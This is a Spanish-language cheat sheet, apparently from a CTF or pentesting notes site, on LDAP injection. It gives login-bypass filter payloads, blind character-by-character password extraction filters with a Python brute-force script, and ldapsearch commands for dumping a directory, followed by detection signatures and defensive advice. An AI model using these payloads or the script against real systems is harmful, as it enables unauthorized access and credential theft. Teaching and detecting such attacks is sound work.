the_open_door
café
ESEN
← Volver al índice

LDAP Injection

Arsenal completo de comandos en la cheatsheet

La inyección LDAP aparece cuando una aplicación construye un filtro LDAP concatenando entrada del usuario sin escaparla. LDAP usa filtros con una sintaxis propia de paréntesis y operadores (& = AND, | = OR, * = comodín "cualquiera"), y muchos paneles de login validan credenciales haciendo un bind/search con un filtro como (&(uid=<user>)(userPassword=<pass>)).

Bypass de login

Si el atacante controla usuario y contraseña, el comodín * convierte el filtro en "cualquiera":

# usuario=*  password=*   ->  (&(uid=*)(userPassword=*))  = cualquier usuario/clave
*
# controlando solo el usuario: cerrar y forzar un OR siempre verdadero
*)(uid=*))(|(uid=*
# apuntar a un usuario concreto ignorando la password
admin)(&))    (comenta el resto del filtro)
admin)(|(password=*
# password comodin dejando el usuario fijo
uid=admin  /  password=*

Inyección LDAP a ciegas (extracción de atributos)

Si el login responde distinto a verdadero/falso, se extrae un atributo (p. ej. userPassword) carácter a carácter encadenando condiciones con *:

(&(uid=admin)(userPassword=a*))     # empieza por 'a'?  (respuesta cambia si acierta)
(&(uid=admin)(userPassword=ab*))
(&(uid=admin)(userPassword=abc*))
# tambien vale para descubrir usuarios y atributos que existen
(&(uid=a*)(objectClass=*))
import requests, string
url, known = "http://<ip>/login", ""
charset = string.ascii_letters + string.digits + "_-@."
while True:
    for c in charset:
        data = {"username": "admin", "password": f"{known}{c}*"}   # segun como monte el filtro
        if "Welcome" in requests.post(url, data=data).text:
            known += c; print(known); break
    else:
        break

Enumeración del directorio

Una vez dentro, el siguiente paso suele ser enumerar el directorio con credenciales legítimas (a menudo las del bind que la app guarda en el código, recuperables con un LFI + php://filter):

ldapsearch -x -H ldap://<ip> -D "cn=admin,dc=dominio,dc=local" -w '<pass>' -b "dc=dominio,dc=local"
ldapsearch -x -H ldap://<ip> -b "dc=dominio,dc=local" "(objectClass=*)"   # bind anonimo si esta permitido

El volcado del directorio suele traer atributos userPassword de otros usuarios (en claro, base64 o {SSHA}) que sirven para pivotar a SSH u otros servicios.

Cómo detectarlo. En la web/WAF, la firma es un campo de login (u otro parámetro) que contiene metacaracteres de filtro LDAP: *, )(, |(, (&, (uid=, antinaturales en un nombre de usuario. En el servidor de directorio (slapd), los logs muestran búsquedas con filtros anómalos como (&(uid=*)(userPassword=*)), binds anónimos inesperados, o un pico de SRCH objectClass=* (un ldapsearch volcando toda la base) desde una sola IP. La variante a ciegas deja cientos de búsquedas que solo cambian un carácter del atributo (userPassword=a*, ab*...). Un login "correcto" cuyo search devolvió múltiples entradas, en vez de una, es el indicio de que un comodín ha ampliado el filtro.

Defensa. Escapar los metacaracteres LDAP de toda entrada (*, (, ), \, NUL) según RFC 4515, usar librerías que parametricen el filtro, no exponer el bind administrativo en el código de la web y almacenar contraseñas con hashes robustos, nunca en claro ni base64.

Máquinas donde se aplica